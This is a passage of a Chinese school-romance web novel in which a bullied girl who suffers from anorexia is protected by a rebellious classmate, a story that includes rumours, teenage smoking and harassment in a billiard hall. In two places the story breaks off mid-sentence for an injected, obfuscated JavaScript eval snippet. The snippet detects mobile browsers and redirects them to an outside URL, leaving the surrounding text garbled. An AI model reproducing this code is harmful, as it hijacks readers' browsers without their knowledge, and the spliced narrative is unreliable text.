说什么的都有,不管说什么吧,驰路觉得主角应该还要算她一个。 学校贴吧里的热帖讨论度不减反增,也不知哪个偷拍了她的侧脸照,正好拍到了她脖颈间的那块紫色,一口咬定是吻痕,算是给无中生有的早恋又添了一锤。 好事者纷纷来到高三七班一探热帖中的女主角,朝她指指点点、评头论足,各种不堪言语石块般朝她砸来。 “这就是传说中勾引校霸的女生啊,个子挺高,长得还挺清纯好看的,但没想到这么快就勾搭上了校霸,是不是主动献身的啊?” “肯定是,要不是她主动,校霸会看上她?我觉得她长得跟个狐媚子似的,一看就不是什么好东西!” “还不知道她爬了多少男生的床,估计早就脏得不行了!” …… 什么话恶毒,她们就说什么。 说话的都是女生,都是因妒生恨的人。 她开始明白,为什么开学第一天,谢劲舟要把她当陌生人了,他的爱慕者众多,谁跟他走得近、谁成为他的女朋友,都会遭到攻击。 他应该不想把她推到风口浪尖,不想让她成为焦点,也不想让她受到伤害,所以,才会用他那种冷漠的方式,将她隔绝在外。 驰路埋着头不去看那些人,塞上耳机,那些声音小了,她的世界才算清净些。 没过多久,她听到一道冷冽的声音响起:“你们给我闭嘴!给老子听好了,驰路是住我家的远方妹妹,听明白了吗?听明白了就给老子滚!” 驰路猛然抬头,看到窗外站着一抹颀长身影,面色冷得吓人,眼神锋利,似要射出一把把利刃,吓得女生们纷纷做鸟兽散。 直到女生们都走光了,谢劲舟才坐回座位。 驰路看到他拿出一本书狠狠地摔到桌上,又重重地抬手握拳砸在桌上,脸上的怒气未散。 罗子昂抓住了谢劲舟的手:“舟爷,干吗跟自己的手过不去啊!” 谢劲舟甩开,浑身透出可以冻死人的冷冽气息。 他为什么这么生气?是老马跟他说什么了吗?还是,他气刚才那些女生说的话? 看到这样的谢劲舟,驰路的心里划过一丝难言的滋味,有种想走到他身旁告诉他“别生气”的冲动。 但她没去,看到谢劲舟拿起手机啪啪啪地敲着什么。 他是在玩贪吃蛇的游戏?之前她看过他玩过几回。 驰路佯装在看书,但余光里都瞥向谢劲舟的方向,他敲完手机便趴在桌上睡觉,是闯关成功了? 她的手机振动了,是许婉发来的一张截图。 她还没点开,便看到许婉发的信息:谢劲舟第一次为一个人在贴吧里证清白,这个人还是你!!! 什么证清白? 驰路点开截图,看到在头条热评下回复:驰路不是老子的女朋友,是老子的妹妹!她脖子上的不是吻痕,是不小心被狗咬伤的。其他楼的自觉点,给老子删帖,要不然后果自负! 她久久地看着这行字,鼻子有些泛酸。 那个看起来不可一世、散漫不羁的校霸,如他所言,正用他的方式保护着她。 蝉鸣渐止,狂潮渐歇,她的孤独港也可以迎来温柔的海风。 她转头看他,他刚好转头,薄薄的眼皮一掀,对上她红了的双眼。 半晌,他轻启薄唇,用唇语说着什么。 好像在说“不要怕”。 心头一动,如灌进无尽春风。 看着他那双深沉的眼眸,心间的风越刮越大,越刮越炙热。 那些子虚乌有的谣言似乎都消散,那些恶毒的话语也全隐退。 她的世界是干净的海,驰骋一叶舟,趋尽所有黑暗。 * 在谢劲舟的澄清下,热帖渐渐没了热度,从第一名持续下滑,一直滑到第一页最下面。 谁都不再敢再发言,有发言的,也是说“原来校霸有个驰妹妹”“剧情好反转”“小狗咬的伤痕好漂亮,像颗桃心。”…… 驰路翻到手机里的相机,看着脖颈间的咬痕,还真像桃心。 哪只小狗能咬出桃心似的痕迹,奇了怪了! * 芳町三中课间操是跑操,一众高三学生在烈阳下跑着,队伍不成形,跑得不成样。 许婉排在驰路前面,跑之前跟她说:“阿驰,天下奇闻,谢劲舟竟然来跑操了!” 难道是因为她在了,所以他也来了? 驰路时不时会转头去看身后,看到队尾的谢劲舟跑得极其散漫,像散步的大佬。 在跑道的拐弯处,驰路的余光又看向谢劲舟,可眼中的他为什么越来越模糊,仿佛加了一层模糊滤镜,她越发看不真切。 渐渐地,她眼前一黑,双腿一软,直直地倒了下去。 周围一片哗然声、闹哄声,她好想睁开眼,但眼皮重如千斤,只能看到些微亮光。 在这亮光中,似乎有谁冲破了密密麻麻的人,直奔她面前,将她一把抱起,她看到了一抹雾霾蓝、泛着光的耳桥,闻到烟草和皂香混杂的熟悉味道。 这人的怀抱好宽、好舒服!好想就这样闭上眼睛睡着。 她逐渐被意识的海洋吞没,沉入黑暗地带。 …… 醒来时,目光所及之处是一片雪白的墙壁、白色的帘子,脑袋昏昏沉沉。 驰路刚想坐起来,发现左手背上插着针管,抬头看输液瓶时,看到了谢劲舟。 他正靠在椅子上睡觉,翘着二郎腿,双手抱臂,一缕阳光透过窗户笼罩着他,照得他那头雾霾蓝的头发闪着浅浅的金光。 右侧短茬上的“X”,右耳骨上的黑色耳桥,脖颈上的一串不知道什么字母的文身,无一不在彰显“老子很酷、老子很特别”。 他的另类、反叛跟别人不一样,他用一种格外外放的形式昭告天下,他特立独行,他与众不同。 打耳洞,他打很多,她数过,一共13个。 文身,他文在盖不住的地方,而且文在脖子上,会很疼。 来这里的这段时间,她见过不少打扮非主流的男生,但从没见过任何人能像他这样,能把发型、耳桥、文身驾驭得如此完美,好像这些本就属于他。 即使他睡着了,浑身也透出“老子不好惹”的强大气场。 是他把自己送到医务室的?难道一直守着自己? 驰路静静地看着谢劲舟,看着他被光照着的不羁俊颜、高挺鼻梁、薄嘴唇,还有嘴唇下方的那颗痣,心头漫上暖意,宛若有人在冰水里放了一把火,滋地腾起火光。 她看着他虎口处的那道伤疤,想到他身前、背后的那些伤痕。 其实,他不比自己好到哪里去,他也是深深受过伤害的人。 只有受过伤的人,才会明白被伤害的痛苦。 驰路抬起手,想去摸一摸那道伤疤,手机却振动了。 老妈终于给她发来了信息,是一条语音,她点开:“阿驰,妈妈的钱放在股票里,现在拿出来不适合,等过段时间再给你打钱啊。你那儿应该还有钱吧。” 驰路的心一沉,她的余额已告罄,老妈再不支援她,她怕是要去喝西北风了。 驰路发过去一条语音:“妈,我没钱了,你能不能先给我打点?” “妈妈现在也没有啊。”说完有两秒的空白,紧接着听到调笑的男声:“老婆,我的车啥时给我买?” 驰路的心沉入黑暗的海底,无尽潮水将她淹没,胸口一阵阵紧缩,疼意袭来。 老妈的德行她知道,喜欢跟男人混,爱一个全心全意付出一个,次次投入,又次次被伤害,却不知悔改。 她跟老妈说过:“爱情这玩意儿,玩玩就行了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560741|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,何必当真。” 老妈跟她说:“爱情不是用来玩的,是用来认真对待的。” 于是,她的每次认真对待,都换来伤害。 她搞不懂,也不想去搞懂,只是,她没想到,老妈对待自己还不如对待一个外人。 或许,她跟老爸都觉得她是累赘吧,把她放在一个离他们很远很远的地方,任由她自生自灭。 她什么都没有了,不再是想要什么就可以得到什么的公主。 她是荒原里的一只困兽,周遭皆是牢笼,她困在一个小小的牢笼里,使劲挣脱,却怎么也无法挣脱开。 驰路去看谢劲舟,看着被光笼罩的他,才产生一种自己好像还处在光明里的错觉。 也许,她还能抓住点什么,他难道不是自己的那道光吗? “舟哥。”她轻轻地唤着他的名字,见他一动不动,又轻轻唤了几声。 “喊老子干吗?”谢劲舟懒懒地抬起眼皮,对上她那双盈盈的眼眸,“喜欢老子?喜欢得快哭了?” 驰路吸了吸鼻子,抹了抹眼睛,还好没有流泪。 “谁喜欢你!”驰路说,“我就是喊你去上课,不用陪我了。” “老子不想去上课,”谢劲舟放下二郎腿,身体前倾,望着驰路的眼睛,声音低沉沙哑,“老子就想在这里……陪你!” 最后的两个字咬得很重,像砂纸似的,刮过驰路的耳膜,直击她的心。 驰路的心猛烈跳动了下,身体不由得袭来一阵热度,烧灼着她的每寸肌肤。 随便他吧,她喊他的本意也不是让他去上课。 她只是想找到一个通往光明的出口,好像喊他的名字,才是找到出口的那把钥匙。 驰路闭上眼,听着窗外聒噪的蝉鸣,听着注射液滴答滴答流过的声音。 医务室里似乎没有其他人,除了她跟谢劲舟。 一切都很安静,安静到让她觉得就这样挺好。 不用去想函数题、英语单词、语文阅读题,不用去想老爸老妈什么时候才可以对她的爱多一点,也不用去想她那迷雾笼罩的未来。 她就在这里,在芳町三中,跟谢劲舟在一起。 他的声音一点一点灌进她耳朵,如温柔潮水涌来:“阿驰,老子养你!” 温柔潮水流经她的干涸地,皲裂的地方,渗进水源,是枯木也能逢春的开端。 * 驰路的微信里多了两千元的转账,来自“Z”,还有他发来的一句话:先用着,用完再给。 她望着这句话望了很久,怔怔的,木木的,木偶人似的。 望着望着,忽然有种很想哭的冲动。 钱不多,可为什么让她觉得这是一笔巨款? “发什么呆?” 直到谢劲舟说话,她才回神,抬眸看他:“谢劲舟,你养得起我吗?” “知不知道这世上有个词叫,穷养。” “那你知不知道这世上有句话叫,穷养男孩,富养女孩?” 谢劲舟没回,而是低头在手机上按着什么,驰路很快收到了他的信息。 两千元的转账被撤回,变成了红包转账,他按着手机给她发语音:“在老子这里,男女一视同仁。” “……”好一个一视同仁,不到一分钟的功夫,千元巨款骤降。 驰路怕他又生变,赶紧收了款,结果是一元红包,面色一惊,抬头看向谢劲舟,只见他优哉游哉地晃着腿。 谢劲舟眉眼一挑:“要富养还是穷养?” 驰路咬牙切齿道:“都行。” 谢劲舟优哉游哉地晃起腿,语气懒散:“看你这样子不像都行的啊。” 驰路不得不搬上自己的高演技,露出春风十里般沐浴人心的笑容,烟嗓温柔到不行:“舟哥,你一出现,全世界都亮起了光,知道为什么吗?因为所有的光都在迎接神明下凡。而你,就是神明!神明一驾到,喜马拉雅山都在震动,非洲大裂谷都在分崩,亚马逊河流都在翻涌!全宇宙的一举一动,都甘拜于你的惊鸿!” …… 这是什么发疯文学?! 谢劲舟冷然的脸上露出一抹邪笑,勾唇道:“叫金主爸爸。” “……” 这人,还得寸进尺了! 25. 他是她的金主爸爸 「人生是一段段荒芜,而我一直在走夜路。 你却告诉我,要做我的不夜港、引路星、神明。 我愿做你的信徒,跟你一起同途。」 ——《小蝴蝶的暗夜》 在生存和面子之间,驰路最后选择了面子,死活没叫他“金主爸爸”。 谢劲舟也是个狠人,没再施舍她一分钱,倒是在她输完液后,给了她一块棒棒糖,白桃味的,不知名的品牌。 驰路有些嫌弃地接过来,看了看劣质的包装,说了句:“我喜欢吃徐福记的。” 话音刚落,那双修长的手就伸到她面前,要把糖抢走,幸好她眼疾手快,把棒棒糖藏在身后:“谢劲舟,你什么人,给人的东西,怎么老喜欢拿走。” “你不想要,老子干吗不拿走。” “谁说不想要了!”驰路坐了起来,剥开棒棒糖的糖衣,露出里面乳白色的糖果,不是徐福记红色的糖果,吃起来香精味过重,白桃味过浓,糖度超标。 她只舔了一口,便皱了皱眉。 “不喜欢?” “嗯。”驰路还是象征性地又舔了一口,“还是徐福记的好吃。” 谢劲舟从她手中一把夺过棒棒糖,放到自己嘴里,舔了舔,果然,太甜了,甜得有点发苦,他从嘴巴里拿出来,直接扔到了垃圾桶里。 一连串的动作干脆利落、极其自然,仿佛在做穿衣、吃饭这种平常的事。 驰路却看得目瞪口呆,他这是吃了自己吃过的棒棒糖?岂不是间接接吻? 据她对他这段时间的了解,他不会吃任何人吃过的东西,包括谢林乔的剩饭,但为什么会吃她吃过的棒棒糖? 谢劲舟看到了她眼中的疑惑,但全然没在意:“为什么你会被欺负?” 那是她心头的伤疤,是不想被提及的过往。 “不想说也没事。”谢劲舟看到她暗淡下去的眼眸,“我希望你能好好吃饭,别再晕倒了!这次是我在,要是我不在呢?” “谢劲舟,谢谢!”驰路看他,说起过往,“初一那年,我爸下海经商赚了钱,有了我人生的第一次转折。我不再是老师眼里的好学生,我经常跟小混混们混在一起,成绩一落千丈,久而久之,成了他们中间的大姐大,在学校里称霸一方,得罪过不少人。后来,我爸破产了,被人追债,跟着我的那帮人就去投靠别人了。从那以后,我就成了马戏团的小丑,被人嘲笑、辱骂,甚至,他们在下了晚自习,围堵我,抢我的钱、我的首饰,还各种侮辱我,包括给我强喂吃的。那时,我得过厌食症。” 谢劲舟的右手紧紧握拳,手背上的青筋凸起,眸子阴沉得厉害,替她愤怒,也替曾经的自己愤怒。 驰路见他如此,抬手覆在他的右手上,碰到他虎口处的伤痕,凸起的一道,宛若蛇盘踞其间。 她以为他只是因她遭遇的事而动怒,反过来安慰他:“不过,都过去了,没什么。” “都过去了,没什么了,你为什么不能好好对自己?”谢劲舟反握住她的手,“你能不能别自欺欺人了!” 他使了力,驰路感到手指都蜷在一起,隐隐作痛:“本来是忘了的,但昨天那事,又让我想起来了。” “驰路,你听好了,你没法着陆的时候,我就做你的不夜港;你没法走出来的时候,我就做你的引路星;你的世界坍塌的时候,我就做你的神明,送你一座永不倒塌的神庙,让你做我唯一的信徒。” 谢劲舟渐渐松了她的手,却没松开,仍旧握着。 纤细的手指被他握在掌心,驰路感受到了前所未有的安全感和力量,沿着她的手一直蔓延全身。 她听到他继续说:“驰路,你不能一直困在过去,你要往前看。” “撒过盐的伤口,也可以绽放星光,星光照进来,伤口就被掩埋了。” * 驰路是困在过去,不是她想困在里面,而是相同场景再现时,那些不堪过往便如洪水猛兽般袭来。 她早上其实什么都不想吃,在谢劲舟的坚持下,她才勉强喝了半碗小米粥,谢奶奶做的葱油饼,她一个没吃。 之前厌食症严重时,她因为低血糖晕过几次,安然提醒她要在口袋里放颗糖,这样感到头晕时可以吃一颗,可每次她晕倒前,她能在口袋里掏出的不是糖,而是烟。 后来,安然给她买了一大袋糖,让她每天都带着,起初她还带一带,后来随着厌食症的好转,也就不带了。 这次她没有任何准备,完全被厌食症牵着走,才会再次出现晕倒的情况。 她是不想吃,看到食物就有种犯恶心的感觉,但她也知道,不吃饭是不行的,可有什么办法? 她在深渊里挣扎,而谢劲舟跟她说的那些话,是鼓励,是安慰,也是伸进深渊里的一把梯子。 顺着梯子往上爬,爬到高处,就能走出深渊,够到光明。 * 中午,许婉拉着驰路要去食堂吃饭,江迟也要一起去,却见谢劲舟走过来,二话不说拉住驰路的手,看都不看其他两人一眼,直接说:“人是我的,我带她去。” “舟爷,不带上我吗?”罗子昂见两人往教室外面走,连忙追上去。 谢劲舟脚步一顿,转头跟罗子昂说:“这周我都跟驰路一起,你去找秦深。” “舟爷,你……”你真是见色忘友! 驰路跟着谢劲舟来到了校外的一家“随意吃面”的面店,她要了一份虾仁鸡蛋面,谢劲舟要了一份骨汤牛肉面。 正是午饭时间,店铺里都是吃饭的人,大多数是他们学校的,不少人纷纷朝他们看来。 驰路有些不自在,被谢劲舟看出来了,他问她:“要不要换一家?” “没事。”换哪里又有什么区别?这附近的小餐馆应该都有他们学校的学生。 小小的门店里,到处弥漫着面的香味,但在驰路闻来,却有些不舒服。 “驰路。”谢劲舟看到了她的异样。 “嗯?” “不想晕倒的话,就要吃饭,不吃完也没事。” “嗯。”驰路点了点头。 不知是谢劲舟说的话对她起了作用,还是她饿了,作恶的心情渐渐消散,她开始吃面,空荡荡的身体变得暖热,幸福的滋味从心底悄然升起。 吃饭时,时不时有认识谢劲舟的男生跟他打招呼,张口闭口都是“舟爷”,看得出来他在这一圈的地位。 驰路想起了老马喊他一事,问:“马三拍喊你说了什么?” 谢劲舟不答反问:“跟你说了什么?” “让我离你远点。” 谢劲舟忽然笑了:“你骗谁呢!马三拍可不是这么跟我说的。” “他跟你说什么?” “他说,让我罩着你,做你的守护神!” “……”他在胡扯什么,老马明明跟她说,要让她离他远点,不要跟他混在一起。 不过无所谓老马跟他说了什么,既然他想这么说,驰路便顺着他的话说:“所以,你怎么想?” “还能怎么想。”谢劲舟眉眼一挑,“老子做你的救世主,也做你的守护神!” * 接下来的两天,谢劲舟确实如他所言,不仅做了驰路的守护神,还做了她的金主爸爸。 开着他那辆拉风的深蓝色摩托车护送她上下学,负责她的一日三餐,让她的食量渐渐增加,让她的食欲渐渐好转。 周五那天的摸底考如约而至,题型基本都是她刷过的,轻松应对。 考试教室是按照上学期名次排的,她没有名次,暂时把她安排在最后一个考场,跟谢劲舟一起。 考每门课时,她写完题,总会不由自主地望向最后一排,那是谢劲舟的方向,他不是趴在桌上睡觉,就是无聊地转笔,丝毫没有一个考生的自觉,完全把考试当玩儿。 一旦她交卷,他也紧随其后,带着她一起去天台,他抽烟,她也想抽,他总会一把从她嘴里夺过来,告诉她“女生抽烟不好”。 考前,他送了她一颗棒棒糖,白桃味,徐福记的,跟她说:“驰路,加油!” 考后,他递给她一根女士香烟,薄荷味的,跟她说:“驰路,抽一根没事。” 他们在吞云吐雾中看着彼此,从不苟言笑到相望而笑,驰路骂他“学渣”,谢劲舟骂她“戏精”。 他们互相追逐,他们笑作一团,笑着笑着,驰路跌入他怀里,闻到了扑面而来的烟草夹杂皂香的味道,这是独属于谢劲舟的气息,猛烈地冲进她的所有感官。 她的笑容凝固在脸上,她一动不动地仰头望着被夕阳笼罩的谢劲舟。 她听见了蝉鸣声,听见了自己快要蹦出来的心跳声,还有从谢劲舟胸腔里发出的如擂鼓般的声音。 天边霞光万丈,耳边蝉鸣作响,这盛夏时节,少年人彼此的心跳声,如杯子里叮咚作响的冰块,经久不息。 * 周五下了晚自习,岑语欢来找谢劲舟,说她的自行车坏了,能不能带她回家。 谢劲舟却看向驰路:“我要听马三拍的话,做驰路的守护神。” “舟哥,你……你什么时候听过马三拍的话?”岑语欢气得眉头紧皱,“你是不是喜欢上驰路了?” 教室外有路过的女学生,纷纷驻足,观看热闹。 谢劲舟看向岑语欢,眼眸沉沉:“她是我谢家的小朋友,老子要照顾她。你觉得这是喜欢?” 岑语欢的眉头皱得更紧了:“舟哥!” 谢劲舟不慌不忙地安排:“罗刺猬,带语欢回家!” 罗子昂走上前:“舟爷,遵命!” 看热闹的吃瓜女学生,看着谢劲舟、驰路并肩离去的背影,有羡慕的,有嫉妒的,还有饱含恨意的。 可谁也动不了她,她成了谢劲舟公开的名义上的“谢家的小朋友”,宠溺味明显,她像一颗被他泡在蜜罐里的糖。 * “谢家的小朋友”其实日子并没有外人看起来的那样好过,为什么时候能买到自行车犯愁,别说买自行车了,就连一杯奶茶的钱都没有。 她没再问谢劲舟要过钱,他也好像把这事完全忘了,没再提“金主爸爸”的事。 她可以低头、可以妥协,但她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560742|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想,总有根线拉在面前,告诉她,这是不能越过去的。 她生平第一次,为没钱这事感到惶恐不安,白桃味的罐装汽水不能买、冰镇矿泉水不能买、女士烟也不能买…… 这样的日子,很难捱。 最后,驰路给安然打了通视频电话,提到借钱的事,告诉她上次就是她发的,安然才信,但她父母给的生活费不多,借给了驰路两百元。 两百元去哪儿买一辆自行车?像谢劲舟这样的妹控,等谢林乔开学了,怎么也要送她去上学了,她难道走路去学校? 不行,她得做点什么了。 * 周六那天,谢劲舟上白班,一走进网吧,人声嘈杂、烟雾升腾,他走到前台,跟上夜班的肖慧接班。 恰好遇到有人的电脑坏了,谢劲舟过去帮忙修,系统出了问题,重新安装系统。 等待间隙,一缕烟雾朝他这儿喷了过来,不是他喜欢的味道。 他一抬头,看到正倚靠着桌子抽烟的余夏。 “好久不见啊,舟哥!” “你来做什么?”谢劲舟没再继续看她,继续看电脑屏幕。 “放心,我不缠着你,就想你了,过来看看你。”余夏看他,“你光在网吧能赚多少钱,我知道,你还帮人进行室内设计。最近你有活儿吗?我认识的一哥们,他哥正好买了新房,需要有人去设计,你要是有时间的话,我去跟他说。” 网吧赚的钱确实不多,在这个小镇里,谢劲舟瞄准了中高端人群,会接一些设计室内。一开始没人用一个学生,后来他跟自己的那帮兄弟各种发传单宣传,好不容易才接到一个老爷爷家旧房子改造的活儿。他对这个项目格外上心,跟老爷爷多次沟通,了解对方的诉求,出了六个方案,共同探讨、共同修改。因老爷爷对改造后的房子很满意,把他推荐给其他人,他的活儿才越来越多,现在在芳町镇也小有名气。 他谁都依靠不了,他要养活自己,还要养活一家子人,现在还多了一个。 余夏喜欢他,他知道,但自从上次那事后,她倒乖乖地没再找他。 这次她给他一个赚钱的机会,他不会跟钱过不去。 谢劲舟拿出手机:“你把对方的电话给我。” “舟哥,是不是要先加上我的微信,我才方便给你?” 谢劲舟瞬间了然她的用意,直直地看她:“余夏,这是两码事。我和你,过去了就是过去了,没可能。” 余夏手指间的烟燃烧着,烟雾笼着她妖娆又忧伤的眼眸:“舟哥,我没有其他的想法,就是想在你的好友列表里,这都不可以吗?” 谢劲舟回答得干脆:“不可以。” “以后,我还给你介绍活儿。” “给不给?”谢劲舟有些不耐地蹙眉。 余夏读懂了他眼中的不耐,报了那串电话号码,不甘地离开。 走了两步,转头跟谢劲舟说:“谢劲舟,你真无情!” 余夏是他月抛女友中的一个,算是他还能记得起名字的,其他好多都记不清名字或脸。 谁都会为他的颜值、气质动容,谁都想做他的女朋友,即使知道只能短暂地在一起,但并不妨碍女生们萦绕在他身边。 他的过往女友,个个都是美人,身材、脸蛋都是妖艳精致型的。 然而,谁都无法走进他的心,他们之间始终隔着一道屏障,没有谁可以跨过去。 “谢劲舟,你爱我吗?”“谢劲舟,你爱过我吗?”“谢劲舟,你可不可以爱我?”“谢劲舟,你真无情!”…… 诸如此类,是谢劲舟听过最多的,已听到麻木无感。 爱是什么?无情又怎样? 在他这里没有清晰的概念,也没有一个准确的答案。 他想到了深夜偶尔会爬上他床的驰路,想到了她蝴蝶骨旁的断翅蝴蝶,还有她脚踝处的一圈酒红色文身。 脑中蹦出一句话:爱是迷醉蝴蝶,带我去她的世界。 * 给电脑重新装好系统,确保电脑正常运作后,谢劲舟才去网吧前台,翘着二郎腿刷手机,收到了浩哥给他发我信息:小谢,晚上记得来飙车,你可以早点来练练。 【Z】:好! 这几天晚上去网吧上夜班前,谢劲舟都会去浩哥的摩托车场地练几圈。 他刚回完信息,有一个染着黄发的男生走过来:“舟爷,我电脑出了问题,你帮我去看看。” 谢劲舟走过去,发现这台电脑是因为中毒后出现的黑屏:“刚玩什么了?” “就看了我们男人该看的那些玩意儿。” 旁边的男生凑过来说:“黄毛,看网上的不过瘾,我告诉你,你去旁边的台球厅,来了个新妹子,长得特好看,很乖的那种,但看你的时候吧,又有种妩媚劲儿,腰细胸大,好几个人去问她要联系方式了,她一个都没给。” “还有这种事。”黄毛刚看完片儿,热血沸腾,“我去会会那妹子,知道叫什么吗?” “好像是叫……驰什么路。” 谢劲舟正在杀毒,手下忽然一顿,眸光沉了下去。 26. 台球暧昧局 「你待过的地方,是烽火狼烟。 炸得我身体的浪潮狠狠地撞上石礁。」 ——《孤舟难行》 台球厅距离网吧不远,隔了几家店,开在隐秘的街道尽头。 谢劲舟走了进去,旁边跟着黄毛,黄毛朝前台看,并没有看到传说中腰细胸大的漂亮妹子,那细长的小眼睛滴溜溜地在场内转了几圈,终于在倒数第二台的台球桌旁看到了正在摆球的女生。 这女生他没见过,远远望去,身材高挑,穿着普通得不能再普通的黑色T恤、牛仔裤,但也能看得出她姣好的身段。 她扎着马尾辫,光看她的侧脸,也能看得出她的漂亮,是一种区别于芳町镇女生的美,不仅美在皮相,还美到骨子里。 “我去,人间尤物啊!”黄毛往前走,眼睛直勾勾地望着驰路。 谢劲舟一把提溜住黄毛的衣领,像拎小鸡似的,把他拎起,往后一甩。 黄毛见状觉得不太对劲,发现谢劲舟径直朝驰路走去,上前小心翼翼地问:“舟爷,你不会看上这女的了吧。你要是看上了的话,小弟愿意让给你。” “老子需要你让?”谢劲舟脚步一顿,转头看黄毛,脸色阴沉,“你碰都别碰!” 黄毛吓得身体一哆嗦,不敢往前走。 他看到驰路刚想走,却被打球的背头男生拦住,驰路往哪儿去,他就往哪儿拦,完全不想让驰路走。 黄毛去看谢劲舟,发现他的脸比刚才还要吓人,觉得他应该认识这女生,没准还喜欢,满脸就差写“老子的人,你也敢拦”。 驰路看起来很乖,没跟他们说一句话,背头男拿着台球杆作势就要去碰她的脸,她一躲。 背头男来了兴致,继续拿起台球杆,玩味地又往她脸上送:“小妹妹,走什么走,陪哥玩一把。” 台球杆蹭到了她的脸,沾了些许蓝色的巧克粉,她嫌恶地把脸一偏,眼睛里几乎要冒火。 她来应聘的时候,便知道这样的情况也许会发生,但没想到这么快就降临,这儿的人真是太明目张胆、胡作非为。 驰路故意打扮成乖乖女的形象,以为这样就没人调戏她、捉弄她,除了这位背头男,已经不下于七八个男生找她玩台球了,之前的都被她拒了。 不过,眼前的这位背头男看来是不打算放过她。 背头男的哥们开始吹口哨,背头男手中的台球杆沿着她精致的脸部轮廓往下滑,滑到她嘴旁,停了下来:“走吧,小妹妹,哥哥又不会把你吃了。” 驰路垂着脑袋,一动不动,旁人看来,她又乖又软糯,像可以任人揉捏的一块橡皮泥。 但谢劲舟看到了她抓着三角框的手紧了几分,白皙手背上爆出细长青筋。 驰路拿着三角框一把挡掉台球杆,力道之大,直接把台球杆打落在地,她看着背头男的眼睛里透出一丝乖张,声音一出,是金属感的特殊烟嗓:“玩就玩,玩一把,你输了怎么办?” 背头男忽然大笑起来,像听了天大的笑话,旁边他的几个哥们也纷纷笑了,有人说:“竟然敢跟我们台球厅的大佬比,你输定了!” 背头男大概是怜惜眼前的小姑娘,笑着提议:“小妹妹,要不要换个?” 驰路目光沉沉地瞪他:“不换,就这个!你输了,跪着叫我三声爸爸。” 背头男笑得更厉害了,肩膀都在抖动:“行啊,要是你输了,晚上陪我睡。” 烟雾缭绕的台球厅里的喧哗声渐止,大家都朝这边看过来。 “舟爷,那不是驰妹吗。”一道公鸭嗓在谢劲舟的耳边响起。 谢劲舟朝罗子昂使了个“闭嘴”的眼神。 罗子昂一来这儿就看到驰路跟这一带有名的台球高手对决,替她担心:“舟爷,你真不打算管管吗?” 你再不管,你谢家的新成员就要沦落成别人的枕边玩物了。 然而,谢劲舟依然一副冷眼看戏的神情,甚至双手抱胸,懒懒地倚靠在一旁的台球桌上,完全是看客姿态。 * 背头男做足谦让态度,要让驰路先击球,驰路说:“你先来。” 背头男以为她怂了,也就不再谦让,走到台球桌前,压杆击球,一球将桌面上的十五球击散,其中一个小号球落袋,正好是他击中的目标,引来他哥们的鼓掌。 驰路不慌不忙地拿起一根球杆,俯身、弯腰、压杆,马尾辫被轻轻甩在了脸侧,秀发抚着脸颊,黑色紧身T恤下的妖娆身段靠近台面。 动作之标准,姿态之好看,围观的男生直勾勾地盯着她,有人开始吹响哨。 她对准自己要击的大号球,往前推杆,球四散而开,其中有一个大号球直接跳过台面弹出了台球桌。 响哨声变成嘘声,旁观者以为她有多厉害,没想到只是绣花枕头。 谢劲舟的眸光变得越发幽深。 罗子昂在一旁干着急:“舟爷,要不你管管吧。” “闭嘴。”谢劲舟的眼睛始终落在驰路身上。 背头男的第二次依旧成功击中球。 驰路拿着杆的手开始冒冷汗,第一杆输了其实并非没有翻盘的机会,但她通过刚才那杆明显感觉到手生了,技巧也生疏了。 她看起来依然气定神闲,谁都看不出她的顾虑,唯独谢劲舟看到了她眼尾一扫而过的担忧。 背头男在一旁颠着腿,手中的球杆也随之晃着,眼睛眯起:“小妹妹,认输吧!” 驰路从来就不是轻易认输的人,没搭理背头男,走到另一侧的桌前,刚压下腰要去击打目标红球,却发现有人拦住她的腰,往后一拽,几乎要撞进身后人的怀里。 这是谁?这种时刻来捣乱? 驰路气得刚想抬脚踹人,往身后一看,竟是谢劲舟,眼睛不由得睁大。 不等她说话,谢劲舟把她的身体稍稍往下压了一点,把手覆在她手背,扭转了杆的方向,俯身在她耳畔说:“保持这个距离,打12号球。” 热气萦绕耳畔,如暖风过境。 她那颗慌乱的心,一点点落下来,仿佛落在樱花遍野的春风里。 “舟爷,你这是帮人作弊啊!”背头男终于不再颠腿了,拖着台球杆,不爽地往他们这边走。 “老子是帮她打了,还是帮她做什么了?算屁的作弊!”谢劲舟离开她的手,站直了俯视背头男。 谢劲舟足足有一米八八,背头男也就一米七出头,谢劲舟以压倒性的身高优势盛气凌人地看他,冷冽的气场也远远压过背头男。 背头男知道谢劲舟不好惹,心里滚过的多句国骂都被生生地压了回去,压着火说:“舟爷,这不公平。” 驰路站起来,看向背头男:“你要是觉得不公平的话,你也找人啊。” 背头男大笑道:“我需要找人?开什么国际玩笑。行,你找人就找人,算我让你的。” “我不需要你让我!”驰路说完,按照谢劲舟刚才指点的动作、姿势,目光锁住12号球,推杆,白球撞上6号球,又擦过8号球,最后落在12号球上,成功落袋。 内心经历过山车般的刺激,得偿所愿后,一阵雀跃,驰路扔了杆,情不自禁地转身抱住谢劲舟,激动道:“进了,进了!” 背头男这才意识到,眼前这个小妹妹跟谢劲舟的关系不一般。 谢劲舟对这样的肢体接触并不陌生,身体温软,含着玫瑰香气。 但这是她第一次主动这么热情地拥抱他,他怔住了,身体有些僵,喉结上下滚动了几下。 驰路发现自己的举动有些过了,连忙松开他,看到了他沉沉的眼眸。 他生气了? 